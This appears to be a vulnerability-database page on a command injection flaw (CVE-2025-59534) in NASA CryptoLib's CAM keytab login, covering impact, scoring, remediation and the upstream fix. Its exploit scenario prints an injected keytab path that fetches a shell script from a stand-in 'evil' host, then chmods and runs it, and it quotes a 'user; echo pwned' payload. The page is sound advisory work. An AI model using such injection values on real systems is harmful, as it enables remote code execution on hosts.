NASA CryptoLib
CVE-2025-59534
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain control of CAM keytab/username config
-
DeliveryInject shell metacharacters into keytab path or username
-
Exploitkinit command built and run via system()
-
ExecutionArbitrary commands execute as CryptoLib process
-
ImpactCode execution on ground-station host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires CryptoLib built with the KMC crypto service interface and CAM (Cryptographic Access Manager) enabled using the CAM_LOGIN_KEYTAB_FILE login method, plus attacker control over the CAM 'username' or 'keytab_file_path' configuration parameters. Those values are concatenated unsanitized into a 'kinit -kt %s %s' string and executed via system() inside initialize_kerberos_keytab_file_login(). Limiting factors: the vector is local (AV:L), the vulnerable path only runs under this specific non-default Kerberos keytab CAM configuration, and the attacker must be able to set those configuration fields - so this is not reachable against a default CryptoLib build that does not use KMC/CAM keytab login. |
| Impact | This is a genuine but lower-tier priority. The signals are consistent: CVSS 7.8 is driven by HIGH confidentiality/integrity/availability impact (arbitrary OS command execution via CWE-78), but the attack vector is LOCAL (AV:L) and EPSS is effectively negligible at 0.04% (11th percentile), indicating no meaningful mass-exploitation probability. It is NOT listed in CISA KEV, so there is no evidence of active exploitation; the only exploitation signal is publicly available exploit/PoC material in the GitHub Security Advisory (GHSA-jw5c-58hr-m3v3) and the regression test (ut_kmc_cam.c) which embeds working payloads like 'user; echo pwned' and a wget-chmod-execute chain. One notable tension: the input CVSS lists PR:N (unauthenticated), yet the source evidence shows the injection occurs through CAM configuration values (username, keytab_file_path) passed to Crypto_Config_Cam - these are operator-supplied configuration parameters, so real exploitation requires the ability to control CryptoLib's CAM configuration rather than true anonymous remote access. The EPSS/KEV/local-vector combination strongly suggests this is a code-quality/defense-in-depth fix, not a widespread remote threat. |
| Exploit ScenarioDerived | An actor able to influence CryptoLib's CAM (Cryptographic Access Manager) configuration - for example by tampering with the keytab file path or username fields used for Kerberos keytab login - supplies a value such as '/etc/krb5.keytab; wget http://evil/shell.sh -O /tmp/s.sh; chmod +x /tmp/s.sh; /tmp/s.sh'. When initialize_kerberos_keytab_file_login() builds the 'kinit -kt %s %s' string and runs it through system(), the injected commands execute with the privileges of the cFS/CryptoLib process. A working proof-of-concept payload is publicly documented in the vendor advisory and committed regression test. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Oct 11, 2026
Command injection in NASA CryptoLib before 1.4.2 lets an attacker who controls the CAM 'username' or 'keytab_file_path' configuration values execute arbitrary operating-system commands on the host. The flaw is in initialize_kerberos_keytab_file_login(), which concatenates those values into a 'kinit -kt %s %s' string and hands it to system() with no sanitization; it is only reachable in builds compiled with the KMC cryptography service interface and CAM enabled using the CAM_LOGIN_KEYTAB_FILE login method, and the assessed vector (CVSS:3.1/AV:L/AC:L/PR:H/UI:N, base 7.8) means the attacker already needs local access and high privileges to alter that configuration. Publicly available exploit code exists - the GitHub security advisory ships concrete malicious payloads such as 'user; echo pwned' and a chained 'wget/chmod/execute' keytab path - but EPSS is only 0.04% (11th percentile) and there is no confirmed active exploitation; the issue is not listed in CISA KEV. Impact is limited to tampering with the host running CryptoLib (C:H/I:H/A:H) rather than to cryptographic key compromise of the spacecraft link itself.
Earlier versions of this analysis (1)
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight. Rated high severity (CVSS 7.3), this vulnerability is low attack complexity. Public exploit code available.
RemediationAI
Upgrade to CryptoLib 1.4.2, which is the vendor-released patch containing the fix commit 3ccb1b306026bb20a028fbfdcf18935f7345ed2f; the patch both validates configuration input character sets and replaces the system() call with a fork/execlp invocation of kinit that bypasses the shell entirely. If immediate upgrade is not possible, remove the attack surface by disabling CAM (CAM_ENABLED_FALSE) or switching away from the CAM_LOGIN_KEYTAB_FILE login method, since the vulnerable code path only executes under that login mode - the trade-off is loss of Kerberos keytab-based CAM authentication in the KMC interface, which may require reconfiguring the ground-segment credentials flow. Additionally, restrict write access to whatever configuration source supplies the CAM username and keytab_file_path (config files, environment, deployment tooling) to trusted administrators only, consistent with the assessed PR:H requirement, and never populate those fields from remote or operator-supplied input; a process-level mitigation is to run CryptoLib with a restricted OS account and a constrained PATH so that a successful injection yields limited privileges, at the cost of extra deployment complexity. Because the fix is a compile-time code change, C-based deployments must be rebuilt and redeployed rather than hot-patched. Details and the corrected code are available in the GitHub advisory GHSA-jw5c-58hr-m3v3 (https://github.com/nasa/CryptoLib/security/advisories/GHSA-jw5c-58hr-m3v3) and the upstream commit.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CryptoLib is NASA's software-only implementation of the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP), used to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. The affected component is not the SDLS framing/crypto core but the KMC (Key Management Center) cryptography interface plugin, specifically its Cryptographic Access Manager (CAM) support. When CryptoLib is built with the KMC crypto service interface and CAM is enabled with the CAM_LOGIN_KEYTAB_FILE login method, initialize_kerberos_keytab_file_login() obtains a Kerberos ticket by invoking the external 'kinit' utility. Prior to 1.4.2 the code built the command string with snprintf() into 'kinit -kt %s %s' - interpolating cam_config->keytab_file_path and cam_config->username verbatim - and executed it via system(), which spawns /bin/sh. Because shell metacharacters (;, $(), backticks, &&, pipes, quotes) in either field are interpreted by that shell, this is a classic CWE-78 OS command injection with the config values as the injection vector. The upstream fix at commit 3ccb1b306026bb20a028fbfdcf18935f7345ed2f applies two layers of defense: new helpers is_safe_username() and is_safe_path() in crypto.c restrict the allowed character set to alphanumerics plus '.', '_', '-' (and '/' for paths) and cause Crypto_Config_Cam() to return CAM_CONFIG_NOT_SUPPORTED_ERROR on rejection, while system() is replaced by a run_kinit() helper that fork()s and execlp()s kinit with discrete arguments (no shell), plus a new unit test UT_KMC_CAM covering the malicious-input cases.
Know when Cryptolib gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Injection point is operator-controlled CAM configuration (keytab path/username), so local vector and PR:H; full command execution yields C:H/I:H/A:H with no scope change.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.2, there is a command Injection vulnerability in initialize_kerberos_keytab_file_login(). The vulnerability exists because the code directly interpolates user-controlled input into a shell command and executes it via system() without any sanitization or validation. This issue has been patched in version 1.4.2.
Executive ViewAI
NASA CryptoLib versions before 1.4.2 contain a high-severity command injection flaw that allows a high-privileged local user to execute operating-system commands on affected hosts. Exposure is limited to specialized builds that enable the KMC cryptography service interface and the CAM_LOGIN_KEYTAB_FILE login method, but these configurations may support mission or ground-support systems where a compromised privileged account could pivot to the underlying host. Publicly available exploit code exists, but there is no confirmed active exploitation and the vendor has released a patch, so leadership should prioritize targeted remediation rather than broad emergency response.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)NVD
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL
CryptoLib versions prior to 1.4.3 contain an out-of-bounds read vulnerability in the Crypto_AOS_ProcessSecurity function
CryptoLib versions prior to 1.4.3 contain a heap buffer overflow in the KMC crypto service's Base64 decoder, where overs
CryptoLib versions prior to 1.4.3 are vulnerable to denial of service through unbounded memory allocation in the KMC cry
CryptoLib versions prior to 1.4.3 contain an out-of-bounds heap read in the cryptography_aead_encrypt() function, affect
NASA CryptoLib v1.3.0 was discovered to contain an Out-of-Bounds read via the AOS subsystem (crypto_aos.c). Rated high s
Heap buffer overflow in CryptoLib versions prior to 1.4.3 allows a high-privileged local attacker to corrupt adjacent me
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB